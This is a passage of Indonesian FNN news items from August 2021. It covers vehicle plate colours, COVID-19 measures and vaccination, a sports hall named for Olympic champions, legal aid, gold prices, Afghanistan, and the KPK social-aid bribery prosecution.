ancaman sanksi atas pelanggaran disiplin. Megawati bingung. Konstelasi politik di sekitar Istana semakin menarik. Dapatkah permainan otak atik ini menyelamatkan Jokowi dari keruntuhan? Jika hanya ini yang menjadi indikator tentu masih terlalu sumir. Akan tetapi retak retak yang dipelihara dipastikan akan menyebabkan pecah. Penjagaan benteng pertahanan pun semakin melemah. Lemahnya penjagaan benteng pertahanan Istana menyebabkan rakyat lebih mudah untuk membobolnya. Rakyat yang semakin marah dan muak dengan korupsi kekuasan yang sudah berada di luar ambang batas. *) Pemerhati Politik dan Kebangsaan.

Perubahan Warna Plat Nomor Kendaraan tidak Mengubah Biaya Pajak

Jakarta, FNN - Korps Lalu-lintas Kepolisian Indonesia mewacanakan perubahan warna pelat nomor kendaraan atau Tanda Nomor Kendaraan Bermotor (TNKB) tahun depan. Akan tetapi, perubahan tersebut tidak menambah biaya Penerimaan Negara Bukan Pajak (PNBP) yang harus dibayarkan masyarakat saat mengurus STNK (Surat Tanda Nomor Kendaraan). "Tidak ada perubahan. PNPB-nya mengacu pada Peraturan Pemerintah Nomor 76/2020, jadi tidak ada perubahan," kata Kasubdit STNK Korps Lalu-lintas Kepolisian Indonesia, Komisaris Besar Taslim Chairuddin, saat dihubungi ANTARA di Jakarta, Sabtu, 14 Agustus 2021. PP Nomor 76/2020 itu tentang Jenis dan Tarif Atas Jenis Penerimaan Negara Bukan Pajak yang Berlaku pada Kepolisian Republik Indonesia. Dalam PP itu disebutkan tarif penerbitan STNK kendaraan bermotor roda dua atau roda tiga Rp 100.000 untuk kendaraan baru dan perpanjangan (lima tahunan). Sedangkan untuk kendaraan bermotor roda empat atau lebih, Rp 200.000 untuk kendaraan baru maupun perpanjangan lima tahun. Taslim yang juga Pembina Fungsi Teknis bidang Surat Tanda Nomor Kendaraan (STNK) terkait Kesamsatan mengatakan, masyarakat tidak perlu khawatir dengan pergantian atau perubahan warna dasar pelat nomor kendaraan itu. "Yang perlu dijelaskan ke masyarakat mereka tidak perlu khawatir ketika TNKB nya belum habis masa berlakunya tidak akan kami ganti," kata dia. Penggantian warna dasar pelat nomor kendaraan dari warna dasar hitam menjadi putih dan nomor warna putih ke warna hitam dilakukan secara bertahap. Tahapan tersebut dengan beberapa pertimbangan. Antara lain, mengikuti anggaran keuangan negara untuk pengadaan material pelat tersebut. Ia menyebutkan, Korps Lalu-lintas Kepolisian Indonesia tahun 2021 sudah mengajukan pengadaan pelat nomor kendaraan terbaru yakni warna dasar putih dan nomor warna hitam sebanyak 21.000.000 pelat pasang. Jumlah itu berdasarkan perhitungan jumlah kendaraan roda empat dan roda dua yang beredar di Indonesia lebih dari 141.000.000. Ditambah jumlah perkiraan kendaraan baru pertahun mencapai 6.000.000 unit baik roda dua maupun roda empat. "Pengadaan TNKB tetap semua. Secara keseluruhan tahun depan sudah menggunakan warna dasar putih tulisan hitam. Jadi tahun lalu kalau tidak salah pengadaan 21.000.000 pasang kurang lebihnya," kata dia. Selain itu, pihaknya juga mengahabiskan stok material TNKB yang lama (warna dasar hitam dan nomor putih) terlebih dahulu, baru menggunakan TNKB yang baru. Penggunaan TNKB warna dasar putih dilakukan bertahap setelah pengadaan dan stok habis. Dimulai dari kendaraan yang baru, lalu kendaraan yang habis STNK lima tahunan, dan balik nama. Taslim menyebutkan, perubahan warna dasar pelat nomor kendaraan untuk mendukung fungsi penegakan hukum yang dilakukan kepolisian. Perubahan warna dasar pelat nomor kendaraan itu tertuang dalam Peraturan Polisi Nomor 7/2021 yang ditetapkan di Jakarta tanggal 5 Mei 2021 ditandatangani oleh Kepala Kepolisian Indonesia, Jenderal Listyo Prabowo, serta disahkan Kementerian Hukum dan Hak Asasi Manusia. Peraturan Kepolisian Nomor 7/2021 Tentang Registrasi dan Identifikasi Kendaraan Bermotor dan menggantikan Peraturan Kepala Kepolisian Nomor 5/2012 tentang Registrasi Kendaraan dan Identifikasi Kendaraan Bermotor. Dalam Peraturan Kepolisian Nomor 7/2021 tentang Registrasi dan Identifikasi Kendaraan Bermotor, perubahan warna pelat nomor kendaraan tersebut tertulis dalam pasal 45, yaitu: a. putih, tulisan hitam untuk kendaraan bermotor perseorangan, badan hukum, PNA dan Badan Internasional; b. kuning, tulisan hitam untuk kendaraan bermotor umum; c. merah, tulisan putih untuk kendaraan bermotor instansi pemerintah; dan d. hijau, tulisan hitam untuk kendaraan bermotor di kawasan perdagangan bebas yang mendapatkan fasilitas pembebasan bea masuk dan berdasarkan ketentuan peraturan perundang-undangan. (MD).

Anies Basewdan Abadikan Greysia-Apriani Jadi Nama Gedung Olahraga

Jakarta, FNN - Nama pasangan ganda putri Indonesia peraih medali emas Olimpiade Tokyo 2020, Greysia Polii dan Apriyani Rahayu diabadikan menjadi pada gedung olahraga di kawasan Pusat Pelatihan Olahraga Pelajar (PPOP), Ragunan, Jakarta Selatan. "Karena mereka atlet yang dibina di Jakarta oleh Jaya Raya kemudian berprestasi internasional, kami ingin agar penghargaannya memberikan motivasi lintas generasi," kata Gubernur DKI Jakarta Anies Baswedan di PPOP Ragunan, Jakarta, Sabtu, 14 Agustus 2021. Gedung olahraga tersebut diberi nama Sasana Emas Greysia-Apriyani, Olimpiade Tokyo 2020. Gedung itu berada di tengah fasilitas olahraga milik Pemprov DKI Jakarta yang baru direnovasi. Gubernur DKI menambahkan, seluruh kompleks kawasan olahraga itu bahkan belum diresmikan. Meski begitu, ia berharap dengan nama tersebut memberikan inspirasi sekaligus memotivasi generasi muda yang saat ini berlatih di PPOP sembari tetap menempuh pendidikan formal. Dikutip dari Antara, gedung tersebut menjadi tempat penempaan generasi muda menjadi atlet untuk sejumlah cabang olahraga. Sementara itu, Greysia Polii mengaku tidak menyangka namanya terukir di salah satu gedung olahraga. Ia pun kembali mengingat kenangan masa kecilnya saat berlatih di PPOP Ragunan hingga berada di posisi puncak sebagai atlet bulu tangkis Indonesia. "Bonus, apresiasi hal yang mungkin dilihat dan dicapai setiap atlet berprestasi, tetapi untuk bisa namanya ditorehkan di satu gedung bulu tangkis, yang mana masa kecil saya semua ada di sini," kata Greysia terharu. Senada dengan Greysia, Apriani juga mengaku terharu dan tidak menyangka namanya terukir menjadi nama gedung olahraga. "Jujur saya terharu banget melihat gedung ini. Terus dapat gedung ini dengan nama Sasana Emas Greysia Apriani, saya terharu," katanya. (MD).

Karawang Batalkan Penerapan Ganjil Genap Nopol Kendaraan

Karawang, FNN - Dinas Perhubungan Kabupaten Karawang, Jawa Barat, membatalkan penerapan ganjil genap nopol kendaraan di wilayah perkotaan karena ditolak masyarakat. Kepala Dinas Perhubungan (Dishub) Karawang Arif Bijaksana Maryugo, di Karawang, Sabtu, mengatakan pembatalan ganjil genap dilakukan atas dasar masukan dan saran masyarakat. Kebijakan ganjil genap kendaraan yang merupakan hasil keputusan rapat bersama antara Polri dan Pemkab Karawang pada Jumat (13/8) itu dibatalkan atas arahan dan petunjuk bupati. Pada awalnya, penerapan ganjil genap tersebut rencananya akan digelar selama lima hari, yakni pada Sabtu (14/8) sampai Rabu (18/8), di Jalan Tuparev-Kertabumi, mulai pukul 08.00 WIB-10.00 WIB dan 16.00 WIB-18.00 WIB. Kebijakan itu pada awalnya bertujuan membatasi mobilitas masyarakat pada masa perpanjangan pemberlakuan pembatasan kegiatan masyarakat (PPKM) di Karawang. Namun setelah kabar rencana penerapan ganjil genap kendaraan itu beredar di grup WhatsApp dan meriuh media sosial, Dinas Komunikasi dan Informatika melalui akun media sosialnya menyampaikan kalau ganjil genap tidak jadi dilaksanakan. Pantauan AANTARA, pembatalan ganjil genap itu terjadi setelah berbagai kalangan masyarakat Karawang menolak keras kebijakan tersebut. Bahkan, mantan Wakil Bupati Karawang Ahmad Zamakhsyari ikut berkomentar. Ia menilai kalau penerapan ganjil genap kendaraan di Karawang merupakan aturan yang rumit. "Pencegahan COVID-19 sekarang ini, fokus saja vaksinasi. Itu lebih baik daripada menerapkan aturan yang rumit," katanya. (sws)

KSP Dukung Upaya Pemda Gorontalo Tekan Penyebaran COVID-19

Jakarta, FNN - Kantor Staf Presiden (KSP) menyatakan akan terus mendukung upaya pemerintah daerah Provinsi Gorontalo dalam membentuk kesadaran masyarakat untuk bersama menekan penyebaran Covid-19. Hal itu disampaikan Tenaga Ahli Utama KSP, Ade Irfan Pulungan, saat memverifikasi lapangan selama tiga hari bersama tim pemantauan dan evaluasi KSP, di Gorontalo, untuk meninjau penanganan Covid-19 secara langsung di sana. "Provinsi Gorontalo masuk zona merah. Kami tidak menginginkan siklus Covid-19 di Jawa menurun namun di luar Jawa-Bali melonjak. Perlu dibuat mitigasi penanganan pandemi Covid-19," ujar dia, dalam kesempatan pertemuan dengan wali kota Gorontalo dan Forkopimda, Jumat (13/8), sebagaimana siaran pers KSP, di Jakarta, Sabtu. Pekan lalu, Presiden Joko Widodo menyoroti lonjakan kasus Covid-19 yang terjadi di banyak provinsi di luar Pulau Jawa. Gorontalo menjadi provinsi dengan lonjakan kasus Covid-19 tertinggi di Indonesia berdasarkan laporan WHO. Lonjakan kasus Covid-19 di Provinsi Gorontalo tercatat sebesar 118 persen, diikuti Provinsi Aceh (97 persen), Provinsi Sulawesi Tengah (88 persen), Provinsi Riau (74 persen), dan Provinsi Bengkulu (57 persen). Untuk menekan penyebaran Covid-19, Pemerintah Provinsi Gorontalo pun kembali memperpanjang Kebijakan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) tingkat 3 yang dimulai dari 10 hingga 23 Agustus 2021. Selain itu, pemerintah daerah juga giat mendirikan posko pengendalian Covid-19 di tingkat desa dan kelurahan. Pemerintah Provinsi Gorontalo juga telah menyiapkan fasilitas isolasi terpusat di Wisma Atlet Kabupaten Gorontalo. Namun di sisi lain para relawan juga melaporkan tentang tingkat kepercayaan masyarakat sekitar yang masih sangat rendah terhadap risiko Covid-19. “Kami sudah beri pagar pembatas disini (di area sekitar Wisma Atlet), namun pagar pembatas itu sering dicuri. Biasanya ketika pagi (kami menemukan sudah) hilang, dirusak, karena mungkin ada masyarakat yang kurang percaya (dengan Covid-19),” ujar Koordinator Isoter Kabupaten Gorontalo, Muljanto. Selain itu, kondisi masyarakat sekitar yang tidak mengetahui keberadaan Isolasi Terpadu di Wisma Atlet dapat menimbulkan risiko, mengingat tempat isolasi itu berdampingan langsung dengan fasilitas publik yang ramai dikunjungi masyarakat sekitar dan dikhawatirkan tanpa menyadari masuk ke area isolasi. “Ini fasilitas kabupaten, biasa orang di luar kabupaten datang olahraga di sini, ada yang dari Bone Bolango, yang dari Boalemo datang kemari mau olahraga, namun mereka tidak tahu ini tempat isoter,” kata salah satu relawan di Wisma Atlet Kabupaten Gorontalo, Mala. Situasi penanganan Covid-19 di Gorontalo juga menghadapi kendala keterbatasan fasilitas kesehatan di rumah sakit. Salah satunya di RSUD Aloei Saboe di Gorontalo. Dengan lonjakan kasus Covid-19 yang sangat tinggi, pihak RS berinisiatif menambah sarana tambahan di ruangan-ruangan sementara. “Namun tidak ada fasilitas AC di sarana tambahan, sehingga ruangan menjadi tidak nyaman dan banyak (pasien) yang minta pulang secara paksa,” kata Wakil Direktur Pelayanan RSUD Aloei Saboe, Mudiharno. Meskipun demikian, KSP menyoroti kegigihan tenaga kesehatan yang tanpa henti memberikan pelayanan dalam menghadapi pandemi. "Nakes di sini tentu perlu diapresiasi, bahkan ada yang terkena Covid-19 10 kali dan masih tidak menyerah memberikan pelayanan. Ini sangat luar biasa," ujar Tenaga Ahli KSP, Ahmad Agus Setiawan, saat bertemu dengan perwakilan dari RSUD Aloie Saboe.(sws)

Kota Pontianak Gelar Upacara HUT ke-76 RI Secara Virtual

Pontianak, FNN - Pemerintah Kota Pontianak, Kalimantan Barat, akan menggelar upacara peringatan Hari Ulang Tahun (HUT) ke-76 Kemerdekaan Republik Indonesia secara virtual, kata Wali Kota setempat Edi Rusdi Kamtono "Seremoni upacara HUT ke-76 RI ini akan digelar secara terbatas dengan dihadiri jajaran Forkopimda Kota Pontianak di Aula Abdul Muis Muin Kantor Bappeda Kota Pontianak pada Selasa, 17 Agustus 2021," kata Edi Rusdi Kamtono di Pontianak, Sabtu. Dia menjelaskan upacara tahun ini tidak dilaksanakan di lapangan sebagaimana mestinya mengingat kondisi pandemi COVID-19. Hal tersebut sebagaimana tertuang dalam Surat Edaran Menteri Dalam Negeri Nomor 0031/4297/SJ Perihal Pedoman Teknis Peringatan HUT ke-76 RI. "Sebagaimana arahan dari pemerintah pusat bahwa pelaksanaan upacara secara virtual dengan mengikuti rangkaian upacara HUT ke-76 RI di Istana Merdeka yang ditayangkan melalui video conference," ujarnya. Ia menambahkan untuk pelaksanaan seremonial upacara virtual yang diikuti jajaran Forkopimda Kota Pontianak akan menerapkan protokol kesehatan secara ketat. "Meskipun digelar secara sederhana dan virtual, tetapi tidak akan mengurangi kekhidmatan dalam memperingati hari bersejarah Bangsa Indonesia," ungkapnya. Sementara itu, Kepala Subbagian Protokol Bagian Protokol dan Komunikasi Pimpinan Sekretariat Daerah Kota Pontianak, Dewi Silvia Sintani Ubbe menerangkan sebelum hari-H pelaksanaan upacara akan dilaksanakan geladi bersih pada hari Minggu, tanggal 15 Agustus 2021 melalui video conference. "Kami juga akan memastikan perangkat seperti kamera dan mikrofon serta hal-hal teknis lainnya berjalan baik agar pada hari-H pelaksanaan upacara berjalan lancar," katanya. Untuk upacara Detik-detik Proklamasi Kemerdekaan RI akan dimulai pada pukul 08.00 WIB. Sedangkan upacara Penurunan Bendera Negara Sang Merah Putih pada pukul 14.30 WIB. (sws)

Kemenkumham NTT: 735 Warga Miskin Dapat Bantuan Hukum Gratis

Kupang, FNN - Kantor Wilayah Kementerian Hukum dan HAM (Kemenkumham) Nusa Tenggara Timur mencatat sebanyak 735 warga di provinsi ini telah mendapatkan bantuan hukum gratis sejak tahun 2019 hingga Juli 2021. "Ratusan warga penerima bantuan hukum secara cuma-cuma ini adalah orang atau kelompok orang miskin di NTT," kata Kepala Kantor Wilayah Kemenkumham NTT Marciana Dominika Djone kepada ANTARA di Kupang, Sabtu. Ia mengatakan hal itu berkaitan dengan realisasi pelaksanaan program layanan bantuan hukum secara gratis untuk warga di NTT. Marciana mencatat jumlah warga penerima bantuan hukum litigasi pada tahun 2019 sebanyak 174 orang, sedangkan yang mendapat bantuan hukum nonlitigasi 33 orang. Selanjutnya pada 2020 sebanyak 289 orang menerima bantuan hukum litigasi dan 51 orang mendapat bantuan hukum nonlitigasi, sedangkan selama Januari-Juli 2021 terdapat 179 orang menerima bantuan hukum litigasi dan 9 orang mendapat bantuan hukum nonlitigasi. "Bantuan hukum ini juga diberikan kepada masyarakat yang sedang berhadapan dengan hukum di dalam lapas dan rutan se-NTT melalui pendirian pos bantuan hukum," katanya. Marciana menjelaskan bantuan hukum ini diberikan melalui tujuh organisasi bantuan hukum (OBH) yang sudah terverifikasi dan terakreditasi, yakni DPC Peradi Ruteng, PLBH Manggarai Raya, LBH Surya NTT, Posbakumadin Kefamenanu, Posbakumadin Soe, Lentera Belu, dan Yayasan Posbakum Advokasi Indonesia. OBH tersebut memberikan bantuan hukum mulai dari tahap penyidikan atau gugatan, persidangan tingkat I, banding, kasasi, dan peninjauan kembali, katanya. "Kami berharap manfaat layanan hukum secara gratis ini dapat membantu masyarakat menghadapi persoalan hukum," katanya. (sws)

Partai Gelora Ajak Konsolidasi Sistem Presidensialisme,

Jakarta, FNN - Wakil Ketua Umum Partai Gelora Fahri Hamzah mengajak elemen bangsa untuk melakukan konsolidasi sistem presidensialisme, mengingat sistem yang ada telah menjadikan kewenangan Komisi Pemberantasan Korupsi (KPK) melebihi presiden. Fahri mengatakan hal itu, di Jakarta, Jumat, menanggapi Dokumen Keberatan atau Laporan Akhir Hasil Pemeriksaan (LAHP) Ombudsman RI yang menyebut proses Tes Wawasan Kebangsaan Pegawai Komisi Pemberantasan Korupsi (TWK KPK) telah terjadi maladministrasi. "Memang ini pekerjaan besar. Sejak transisi Orba ke reformasi, hingga sekarang kita perlu pembacaan ulang yang konsolidatif. Karena sebuah sistem itu harus selalu dievaluasi. Apakah dia kuat untuk bertahan ketika menghadapi berbagai ujian," kata Fahri dalam Webinar Series Moya Institute bertajuk "Kontroversi Temuan TWK 51 Pegawai KPK". Fahri mengatakan, konsolidasi presidensialisme diperlukan, karena akan meminta pertanggungjawaban presiden. "Makanya, saya alergi kalau ada lembaga yang melebihi presiden. UU yang lama itu seperti membuat presiden tidak bertanggung jawab atas pemberantasan korupsi. Selama 20 tahun ini terkesan ada single fighter pemberantasan korupsi. Harusnya orkestrasi pemberantasan korupsi ada dimana-mana. Bukan hanya di Rasuna Said," ujar Fahri dalam siaran persnya. Mantan Wakil Ketua DPR RI itu menilai, temuan Ombudsman dan pada akhirnya KPK mengeluarkan keberatan karena ada yang perlu dibaca ulang kembali dalam sistem selama ini. "Mungkin hanya di Indonesia, tersangka nggak boleh didampingi kuasa hukum. Karena itu, ketika KPK ngotot, Komnas HAM takut sehingga tidak menyalahkan pelanggaran HAM yang dilakukan KPK selama ini. Ombudsman dulu juga begitu. Banyak sekali malpraktik KPK yang kita laporkan, nggak berani juga itu Ombudsman. Jangankan itu, lembaga peradilan, eksekutif, yudikatif dan legislatif waktu itu semua takut dengan KPK yang suka menakut-nakuti," kata Fahri. Pengamat isu-isu strategis nasional Prof Imron Cotan menyebutkan kontroversi pegawai KPK itu hanya riak kecil di tengah tantangan luar bisa dalam menghadapi pandemi COVID-19 yang telah memporak-porandakan sistem kesehatan di seluruh dunia. "Ada kekacauan sistem di dunia dan kita yang berdampak terhadap ekonomi dan politik," katanya. Imron menekankan bahwa isu tentang tidak memenuhi syaratnya ke-51 pegawai KPK ketika dites TWK itu tentu dirasakan penting bagi sejumlah orang, tetapi dalam konteks kehidupan berbangsa dan bernegara hal tersebut terlihat seperti riak di tengah lautan atau badai di dalam cangkir, jika dikaitkan dengan ancaman dari pandemi COVID-19 yang melanda Indonesia. Terkait keputusan Ombudsman RI, Imron menyayangkan kenapa DPR memberikan ruang penegakan hukum kepada Ombudsman. "Seharusnya kalau ada maladministrasi bisa dibawa ke PTUN. Kalau ada unsur pidana bisa ke pengadilan," ujarnya pula. Pakar Hukum Pidana UI Chudry Sitompul menyebutkan, UU No. 35 Tahun 2008 tentang Ombudsman RI itu berkaitan erat dengan Pelayanan Publik, UU No. 25 Tahun 2009. "Jadi kalau menyangkut maladministrasi hukum tata negara, ya seharusnya dibawa ke Pengadilan Tata Usaha Negara (PTUN). Kalau mau dikasih rekomendasi, ya rekomendasinya bawa ke PTUN atau peradilan umum. Apakah perkara perdata atau pidana," ujarnya pula. Chudry menegaskan, jika sudah seperti itu, maka keputusan Ombudsman itu tidak sesuai ketentuan perundang-undangan dengan menyebutkan TWK KPK maladministrasi. (ant)

Anies: Jakarta Butuh 4 Juta Orang Tervaksin untuk Capai Herd Immunity

Jakarta, FNN - Gubernur DKI Jakarta Anies Baswedan menyatakan bahwa Ibu Kota kurang sekitar empat juta orang tervaksin untuk bisa mencapai kekebalan komunal atau herd immunity. "Jadi kita masih ada (kekurangan) sekitar hampir empat juta (orang tervaksin) untuk mencapai herd immunity," kata Anies dalam siaran langsung instagramnya @aniesbaswedan, Jumat malam. Lebih lanjut, Anies mengatakan hingga saat ini Pemerintah Provinsi DKI Jakarta telah melakukan vaksinasi terhadap 8,8 juta orang untuk dosis pertama dan 3,8 juta orang dosis kedua. Anies juga mengakui bahwa persentase penerima vaksin di Jakarta memang tinggi. Meski demikian, menurutnya, dari jumlah itu sebanyak 40 persen penerima vaksin di antaranya bukan warga Jakarta. "Secara persentase memang tinggi, tetapi sekitar 40 persen yang kita vaksin bukan penduduk ber-KTP Jakarta," tutur Anies. Menurut Anies, Pemprov DKI memberikan vaksin terhadap empat golongan masyarakat yang beraktivitas di Jakarta, yakni masyarakat yang memiliki KTP DKI Jakarta dan orang yang tinggal di Ibu Kota namun tidak ber-KTP Jakarta. Kemudian, orang yang tinggal di luar daerah namun bekerja di Jakarta, serta pelajar yang tinggal di luar daerah, namun sekolah atau berkuliah di Jakarta. "Nah, kami vaksin semuanya karena kita ingin semua warga yang berada di Jakarta tervaksin," ujar Anies. Menurut dia, meskipun sudah vaksinasi terhadap orang-orang yang tinggal di Jakarta sudah mencapai 98 persen (minimal dosis pertama), Pemprov DKI Jakarta masih memiliki pekerjaan rumah untuk memberi vaksin pada seluruh warga. "Ini yang kita sekarang mau tuntaskan," ucap Anies. Adapun, Kepala Dinas Kesehatan DKI Jakarta, Widyastuti mengatakan sekitar tiga juta warga Jakarta masih enggan mengikuti vaksinasi COVID-19. Dari sekitar delapan juta capaian vaksinasi COVID-19 dosis pertama di Jakarta, hanya lima juta warga berdomisili atau memiliki KTP DKI. Sementara itu, epidemiolog asal Universitas Griffith Australia Dicky Budiman mengatakan capaian vaksinasi tidak bisa dijadikan sebagai dasar tunggal untuk menilai tercapainya kekebalan kelompok atau herd immunity terhadap COVID-19. (sws)

Harga Emas Naik Saat Pelemahan Indeks Sentimen Konsumen

Chicago, FNN - Harga emas berjangka di Divisi COMEX New York Mercantile Exchange meningkat pada perdagangan hari Jumat (13/8). Kenaikan terjadi karena indeks sentimen konsumen melemah. Kontrak harga emas paling aktif untuk pengiriman Desember naik 26,4 dolar AS atau 1,51 persen menjadi ditutup pada 1.778,2 dolar AS per ounce. Perkiraan awal indeks sentimen konsumen yang dirilis Jumat oleh University of Michigan (UM) berada di 70,2 pada Agustus, turun dari 81,2 pada Juli. Dikutip dari Antara, Sabtu, 14 Agustus 2021, investor juga khawatir dengan ketidakpastian kekuatan dari kebangkitan ekonomi global di tengah penyebaran varian Delta Covid-19. Harga emas naik mendekati 0,9 persen untuk minggu ini. Harga perak untuk pengiriman September meningkat 66,3 sen, atau 2,87 persen, ditutup menjadi 23,779 dolar AS per ounce. Harga Platinum untuk pengiriman Oktober bertambah 8,3 dolar, atau 0,82 persen, menjadi ditutup pada 1.026 dolar per ounce.

Ada 407 Anak di Semarang Kehilangan Orang Tua Akibat COVID-19

Semarang, FNN - Pemerintah Kota Semarang mencatat 407 anak di Ibu Kota Jawa Tengah ini kehilangan orang tuanya yang meninggal dunia akibat COVID-19. "Dari data yang diverifikasi Dinas Pemberdayaan Perempuan dan Anak ada 407 anak yang kehilangan orang tuanya akibat COVID," kata Wali Kota Semarang Hendrar Prihadi dalam siaran pers di Semarang, Jumat. Berdasarkan data tersebut, kata dia, pemerintah kota selanjutnya bergerak untuk memberikan pendampingan dan bantuan. Politikus PDIP tersebut berkomitmen untuk menuntaskan pendidikan setiap anak yang kehilangan orang tua akibat pandemi ini. "Jangkauan perjalanan hidup anak-anak ini masih panjang, sehingga dibutuhkan dukungan dari dunia pendidikan," katanya. Bagi anak yang saat ini menempuh pendidikan di sekolah swasta, wali kota yang akrab disapa Hendi ini akan mengupayakan agar bisa dipindahkan ke sekolah negeri. Meski demikian, lanjut dia, jika anak-anak tersebut tetap nyaman bersekolah di sekolah swasta, maka akan diupayakan untuk memperoleh beasiswa dari dinas pendidikan. Ia menambahkan dalam mengupayakan bantuan pendidikan bagi anak yang kehilangan orang tuanya tersebut, pemerintah kota juga menggandeng dunia usaha. Ia menyebut pata pengusaha siap memberi bantuan untuk mendukung separuh dari anak-anak yang sedang bermasalah tersebut. "Konsep gotong royong ini merupakan upaya untuk mengatasi permasalahan yang dihadapi saat pandemi ini," katanya. (sws)

PBB: Afghanistan Menuju Bencana Kemanusiaan

Jenewa, FNN - Badan-badan PBB pada Jumat memperingatkan bencana kemanusiaan di Afghanistan saat Taliban bergerak maju memaksa ratusan ribu orang meninggalkan rumah mereka di tengah kondisi kelaparan yang meluas. Taliban menguasai kota-kota terbesar kedua dan ketiga Afghanistan ketika kedutaan-kedutaan besar negara Barat bersiap mengirim pasukan untuk membantu evakuasi staf, meski PBB menyebutkan bahwa 320 stafnya akan tetap berada di sana. "Kami khawatir (kondisi) terburuk belum terjadi dan gelombang kelaparan yang lebih besar segera mendekat... Situasi ini mempunyai ciri-ciri bencana kemanusiaan," kata Thomson Phiri dari Program Pangan Dunia saat konferensi pers singkat PBB. Lebih dari 250.000 orang terpaksa meninggalkan rumah mereka sejak Mei, 80 persen di antaranya adalah perempuan dan anak-anak, ungkap Shabia Mantoo dari Badan Pengungsi PBB. Banyak pihak yang melaporkan pemerasan oleh kelompok bersenjata selama dalam pelarian dan harus menghindari bom rakitan di sepanjang jalan utama. Ribuan orang beramai-ramai pergi dari daerah pedesaan menuju ibu kota Kabul dan pusat kota lainnya untuk mencari perlindungan, kata pejabat PBB lainnya. "Mereka tidur tanpa atap, di taman-taman dan tempat-tempat umum," kata Jens Laerke, juru bicara Kantor Koordinasi Urusan Kemanusiaan PBB (OCHA). "Perhatian besar saat ini hanyalah menemukan tempat berlindung untuk mereka." Pejabat Organisasi Kesehatan Dunia (WHO) melaporkan dua kali lipat kasus trauma dalam dua hingga tiga bulan belakangan di fasilitas kesehatan yang mereka dukung. Ia juga menyuarakan kekhawatiran soal krisis pasokan obat dan mengaku sedang melatih staf medis untuk menangani korban massal. (sws) Sumber: Reuters

KPK Sebut Suap Bansos Covid-19 Juga Mengalir ke Tim BPK

Jakarta, FNN - Jaksa Penuntut Umum (JPU) Komisi Pemberantasan Korupsi (KPK) memaparkan uang suap yang diterima dari perusahaan penyedia paket bansos COVID-19, juga mengalir ke tim audit Badan Pemeriksa Keuangan (BPK). "Selain itu terdakwa dan Adi Wahyono juga menggunakan uang 'fee' tersebut untuk kegiatan operasional Juliari Batubara selaku Menteri Sosial, dan kegiatan operasional lainnya di Kementerian Sosial, antara lain untuk Galung, tim audit BPK pada Juni 2020 sebesar Rp100 juta, dan kepada Yonda yang merupakan utusan BPK, pada Juli 2020 uang tunai dalam dolar AS senilai Rp1 miliar," kata JPU KPK Ikhsan Fernandi, di Pengadilan Tindak Pidana Korupsi (Tipikor) Jakarta, Jumat. Hal tersebut termuat dalam surat tuntutan Pejabat Pembuat Komitmen (PPK) pengadaan bansos sembako COVID-19 periode April-Oktober 2020 Matheus Joko Santoso. Jumlah keseluruhan uang "fee" dari penyedia bansos sembako yang telah diserahkan Matheus Joko dan Adi Wahyono selama periode 1 bansos sembako adalah sebesar Rp14,7 miliar. Uang tersebut digunakan antara lain untuk: 1. Pembayaran pesawat (private jet) Juliari Batubara dan rombongan Kemensos ke Denpasar, Bali sebesar Rp270 juta. 2. Pembayaran sewa pesawat Juliari Batubara dan rombongan Kemensos dalam kunjungan kerja ke Semarang sebesar Rp300 juta atau setara dengan 18 ribu dolar AS. 3. Pembayaran sewa pesawat (private jet) untuk kunjungan Juliari dan rombongan Kemensos ke Lampung sebesar Rp270 juta. 4. Pembayaran kepada "event organizer" untuk honor artis Cita Citata dalam acara makan malam dan silaturahmi Kemensos di Ayana Komodo Resort Labuan Bajo pada 27 November 2020 sebesar Rp150 juta. 5. Pembelian ponsel pejabat Kemensos senilai Rp140 juta. 6. Pembayaran biaya "swab test" di Kemensos sebesar Rp30 juta. 7. Pembayaran sapi kurban sebesar Rp100 juta. 8. Pembayaran makan minum dan akomodasi tim bansos, tim relawan dan tim pantau sebesar Rp200 juta. 9. Pembayaran makan dan minum pimpinan sebesar Rp130 juta. 10. Pembelian 2 unit sepeda merek Brompton seharga Rp120 juta masing-masing untuk Hartono (Sekjen Kemensos) dan Pepen Nazaruddin (Dirjen Perlindungan dan Jaminan Sosial Kemensos). 11. Pembelian masker senilai Rp241,6 juta yang digunakan di daerah pemilihan Juliari yaitu Jawa Tengah I (Kota Semarang, Kabupaten Semarang, Kota Salatiga, Kabupaten Kendal). 12. Diberikan untuk seorang PNS Kemensos Fahri Isnanta sebesar Rp250 juta. 13. Kegiatan operasional Direktorat Perlindungan Sosial Korban Bencana Sosial (PSKBS) sebesar Rp100 juta. 14. Pengeluaran-pengeluaran lain yang digunakan untuk kegiatan operasional di Kemensos. KPK juga telah menyita uang dalam pecahan mata uang rupiah, dolar AS, dan dolar Singapura yaitu Rp11.852.350.000, 171.085 dolar AS (kurs bulan Juli 2021 = Rp2.468.927.635) ditambah 23 ribu dolar Singapura (kurs Juli 2021 = Rp246,648 juta), sehingga total uang yang disita dari Matheus Joko adalah Rp14.567.925.635. Uang tersebut menurut jaksa adalah bagian "fee" yang dikumpulkan dari para penyedia bansos sembako. Selain diserahkan kepada Juliari, Juliari juga memerintahkan Matheus Joko dan Adi Wahyono untuk menggunakan sejumlah uang untuk kepentingan berikut: 1. Uang sebesar Rp3 miliar diserahkan ke Hotma Sitompoel sebagai tim pengacara Kemensos mendampingi sidang perkara anak. 2. Uang senilai Rp2 miliar dalam dolar Singapura diserahkan ke Juliari Batubara melalui ajudannya Eko Budi Santoso. Dari jumlah tersebut, sebesar 48 ribu dolar Singapura diserahkan tim teknis Mensos yaitu Kukuh Ary Wibowo kepada Akhmat Suyuti selaku Ketua DPC PDIP Kabupaten Kendal. Matheus Joko Santoso dituntut 8 tahun penjara ditambah denda Rp400 juta subsider 6 bulan kurungan. Ia juga diwajibkan membayar uang pidana pengganti sejumlah Rp1,56 miliar subsider 1 tahun kurungan. Kewajiban uang pengganti itu dikurangi uang yang sudah dikembalikan ke KPK, yaitu sejumlah Rp176.478.000, dari penyetor Rommel Simamora senilai Rp160,8 juta serta 1 unit mobil Toyota tipe Corolla Cross. Sedangkan Juliari Batubara dituntut 11 tahun penjara ditambah denda Rp500 juta subsider 6 bulan kurungan, ditambah kewajiban uang pengganti kepada negara sebesar Rp14.557.450.000 subsider 2 tahun kurungan. Sementara Adi Wahyono dituntut 7 tahun penjara, ditambah denda Rp350 juta subsider 6 bulan kurungan. (sws)

Filipina Perpanjang Larangan Perjalanan 10 Negara, Termasuk Indonesia

